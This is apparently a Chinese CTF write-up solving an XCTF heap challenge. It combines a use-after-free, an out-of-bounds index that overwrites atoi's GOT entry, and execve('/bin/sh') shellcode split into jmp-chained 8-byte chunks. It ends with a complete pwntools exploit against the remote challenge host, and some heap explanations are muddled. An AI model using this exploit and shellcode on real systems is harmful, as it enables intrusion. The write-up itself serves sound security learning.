0%

我学习pwn已经有一段时间了,遇到了一个有意思的题目,再此分析一下

题目链接: 题目 (xctf.org.cn)

选项一可以申请一片内存空间,位置和大小都可以自己定义(空间大小不超过8字节),并且有一次写入的机会,选项四可以释放某片内存空间,本程序中没有BackDoor

当我第一次分析这个题时,而一眼就注意到了UAF漏洞,没有BackDoor,并且没有开NX,由此可以判断:本程序需要在堆中写入shellcode来获取权限


UAF(Use After Free)

如果程序利用“free”,“delete”等函数释放内存时没有置空指针,就会造成UAF漏洞

先看一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *a;
a = (char *) malloc(sizeof(char)*10);//申请a
memcpy(a,"ywhkkx",10);
printf("a addr:%x,%s\n",a,a);
free(a);//释放a
char *b;
b = (char *)malloc(sizeof(char)*10);//申请相同大小的b
memcpy(a,"isacaib",10);
printf("b addr:%x,%s\n",b,b);
printf("a addr:%x,%s\n",a,a);
return 0;
}

输出结果:

1
2
3
a addr:6792d2a0,ywhkkx
b addr:6792d2a0,isacaib
a addr:6792d2a0,isacaib

申请“a”后,释放“a”,然后申请相同大小的“b”

根据结果来看,“a”和“b”两个指针指向了同一片内存空间,修改“b”,“a”也发生改变

根本原因:

这里涉及到 ptmaoolc 的知识了(一种heap管理算法):

ptmalloc是glibc默认的内存管理器

在ptmalloc内部,内存块采用chunk管理,并且将大小相似的chunk用链表管理,一个链表被称为一个bin。前64个bin里,相邻的bin内的chunk大小相差8字节,称为small bin,后面的是large bin,large bin里的chunk按先大小,再最近使用的顺序排列,每次分配都找一个最小的能够使用的chunk

PS:ptmaoolc算法的行为肯定有利于CPU的运算,具体就不展开了(我也不会)

这里挂两个博客,讲的更详细:

UAF:https://blog.csdn.net/qq_31481187/article/details/73612451

ptmaoolc: ptmalloc总结 - bitError - 博客园 (cnblogs.com)

这里还有一个内存分配策略的总结:

ptmalloc,tcmalloc和jemalloc内存分配策略研究|I’m OWenT


本程序可以无限循环,也就是有多次写入的机会,但是仔细分析代码又会出现问题:

一次申请的空间大小不超过8字节,肯定装不下shellcode,所以要多次申请,并把shellcode分段装入这些堆内存空间中

构造如下shellcode:(涉及到64位系统的传参约定)

1
2
3
4
5
6
7
mov rdi,xxxx;/bin/sh #字符串的地址
mov rax,59; #execve 的系统调用号
mov rsi,0;
mov rdx,0;
syscall
----------------------------
execve('/bin/sh',null,null)

构造shellcode片段:

1
2
3
4
5
6
codex=asm("mov rdi,'/bin/sh'")		#把‘/bin/sh’装入rdi
code0=asm('xor rax,rax') #清空rax
code1=asm('mov eax,0x3b') #eax就是rax的低位
code2=asm('xor rsi,rsi') #清空rsi(第2个参数)
code3=asm('xor rdx,rdx') #清空rdx(第3个参数)
code4=asm('syscall')

问题:可以发现“codex”的大小明显超过了8字节,这里先放一放

现在需要程序按照这个顺序执行shellcode,但堆与堆之间没有联系,需要用jmp连接


IP控制指令:jmp short

jmp short 目标地址,占用2字节,可以按照相对位置进行寻址跳转

机器码:EB + 8位位移

计算公式:相对偏移地址 = 目标地址 - 当前地址 - 2(为什么要“-2”,后续进行分析)

​ //当前地址:jmp指令的地址

要理解这个计算公式首先得搞明白CPU执行指令的过程

1.从CS:IP指向的“内存单元”读取指令,送入指令缓存器

2.(IP)=(IP)+ 所读取指令的长度,从而指向下一条指令

3.执行指令,回到“1”,重复这个过程

案例(“《汇编语言》-王爽 ” 中的例子):

可以发现“jmp short s”和机器码为EB03,而jmp自己的地址为0003

1.CS:IP指向“0003”(EB 03)

2.指令“EB 03”被送入指令缓存器

3.(IP)=(IP)+ 2 = 0005H ,CS:IP 指向 add ax,1

4.CPU执行指令缓存器中的指令“EB 03”

5.指令执行后,(IP)= 0008H ,CS:IP 指向 inc ax

可以发现,指令“EB 03”执行以后,CS:IP立马完成了跳转,IP的变化为“0005H>>>00008H”(差3

所以jmp中的目的地址是计算出来的:指令执行前IP的指向 + EB后的数值

​ //因为是先进行2然后再进行4,所以计算公式中的“-2”就是减去“jmp short s”指令的长度


那么EB后面的8位位移该写多少呢?

这里需要先有64位堆结构内存对齐的知识


完全二叉树特点

1.叶子结点只可能在最大两层出现

2.对于任意一结点,如果其右子树的最大层次为L,则其左子树的最大层次为L+1

​ //子树左对齐,不管右子树的有无,左子树一定存在(叶子结点除外)

3.度为1的结点只有0或1个

简而言之,完全二叉数就是一个“顺序填充”的过程:

数据会从左往右依次填充,直到某一层填满然后填下一层

64位堆结构

堆总是一棵完全二叉树

linux的堆内存管理分为三个层次,分别为分配区area堆heap内存块chunk

每次glibc分配的内存块称为chunk(函数“malloc”分配的内存)

内存块 chunk :

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
  • prev_size:相邻的前一个堆块大小。这个字段只有在前一个堆块(且该堆块为normal chunk)处于释放状态时才有意义。这个字段最重要(甚至是唯一)的作用就是用于堆块释放时快速和相邻的前一个空闲堆块融合。该字段不计入当前堆块的大小计算。在前一个堆块不处于空闲状态时,数据为前一个堆块中用户写入的数据。libc这么做的原因主要是可以节约4个字节的内存空间,但为了这点空间效率导致了很多安全问题
  • size:本堆块的长度。长度计算方式:size字段长度+用户申请的长度+对齐。libc以 size_T 长度 * 2 为粒度对齐。例如 32bit 以 4 2= 8byte 对齐,64bit 以 **8 2=0×10 对齐。因为最少以8字节对齐,所以size一定是8的倍数,故size字段的最后三位恒为0,libc用这三个bit做标志flag。比较关键的是最后一个bit(pre_inuse),用于指示相邻的前一个堆块是alloc还是free。如果正在使用,则 bit=1。libc判断 当前堆块是否处于free状态的方法 就是 判断下一个堆块的 pre_inuse** 是否为 1 。这里也是 double freenull byte offset 等漏洞利用的关键
  • fd&bk:双向指针,用于组成一个双向空闲链表。故这两个字段只有在堆块free后才有意义。堆块在alloc状态时,这两个字段内容是用户填充的数据。两个字段可以造成内存泄漏(libc的bss地址),Dw shoot等效果
  • 值得一提的是,堆块根据大小,libc使用fastbin、chunk等逻辑上的结构代表,但其存储结构上都是malloc_chunk结构,只是各个字段略有区别,如fastbin相对于chunk,不使用bk这个指针,因为fastbin freelist是个单向链表

内存对齐

内存对齐和地址对齐一样,也是一种时空权衡

glibc的堆内存对齐机制:

32位:
最少分配16字节堆,8字节对齐,每次增加8
其中4字节为头部,申请1-12堆,分配16字节堆

64位:
最少分配32字节堆,16字节对齐,每次增加16
其中8字节为头部,申请1-24堆,分配32字节堆

​ //16个字节头部,包括为数据区的 prev_size

可以参考一下链接:

堆利用: pwn with glibc heap(堆利用手册) - hac425 - 博客园 (cnblogs.com)


64位程序一次性分配的最小堆字节为32

而静态数组“2020A0[v1]”的类型为“qword”(4字,32字节),刚好等于申请堆空间的最小值

所以只要“v1”是连续的,那么申请出来的堆空间就是连续的

在内存块的结构中:fd&bk作为数据区,shellcode和jmp都要写在这里

执行jmp后程序需要跳转到下一个fd&bk(数据区)

计算:EB 8位位移 = 2 + 1 + 8 + 8 + 8 - 2 = 25(0x19)

根据程序输入函数的算法,最后1字节的数据会被强行改为“0”,所以后面8字节的空数据不能使用

所以真正可以利用的空间就只有7字节,除去2字节的jmp,就只剩下5字节

1
2
3
4
5
6
codex=(asm("mov rdi,'/bin/sh'"+'\x90\x90\xeb\x19')#明显超范围了
code0=(asm('xor rax,rax')+'\x90\x90\xeb\x19')#左填充“\x90”保证7字节(右对齐)
code1=(asm('mov eax,0x3b')+'\xeb\x19')
code2=(asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
code3=(asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
code4=(asm('syscall').ljust(7,'\x90'))#用ljust进行右填充(左对齐)

​ //这里在“jmp short”处选择右对齐,是为了防止“\x90\x90”干扰8位位移的计算

分析到这里就只剩下两个问题了:

1.codex超过了7字节,会导致execve的第一个参数无效(“/bin/sh”)

2.shellcode没有办法执行

堆不像栈,没有类似于“ret”这样的IP控制指令,想要执行堆中的shellcode片段,必须要CS:IP指针访问这一片堆空间才行,本程序中的shellcode片段已经用jmp进行了连接,所以只要CS:IP指针访问了codex,就等同于执行了shellcode

那么有没有一个办法可以一次性解决这两个问题呢?

仔细分析程序的代码,还可以发现一个漏洞:

“index”由用户输入并且没有检查其范围,之后就直接作为了静态数组“2020A0”的下标

这就构成了数组越位漏洞


静态数组“2020A0”的上方就是GOT表地址,这里的任何一个函数都可以被数组越位覆盖

而且在plt表中已经控制了CS:IP,所以再此之后覆盖的堆内存会被当做指令

这里选择“atoi”是最正确的:


分析代码就可以知道,“atoi”的参数是“read”读取来的,此处读入“/bin/sh”就可以代替codex

偏移计算为:(0x2020A0 - 0x202060)/ 8 = [-8]

因为改变“atoi”会导致循环中断,所以 [-8] 的堆空间只能在最后申请,但它又必须第一个执行

这里就需要利用UAF使 [0](第一次申请的空间)和 [-8] 指向同一片内存(“atoi”的GOT表)

具体exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*

p=remote('111.200.241.244',53787)
context(os='linux',arch='amd64',log_level='debug')

def malloc(index,content):
p.sendlineafter("your choice>> ","1")
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(8))
p.sendafter("content:",str(content))

def free(index):
p.sendlineafter("your choice>> ","4")
p.sendlineafter("index:",str(index))

code0=(asm('xor rax,rax')+'\x90\x90\xeb\x19')
code1=(asm('mov eax,0x3b')+'\xeb\x19')
code2=(asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
code3=(asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
code4=(asm('syscall').ljust(7,'\x90'))

malloc(0,code0)
malloc(1,code1)
malloc(2,code2)
malloc(3,code3)
malloc(4,code4)
free(0)
malloc(-8,code0)

p.sendlineafter('your choice>>','/bin/sh')

p.interactive()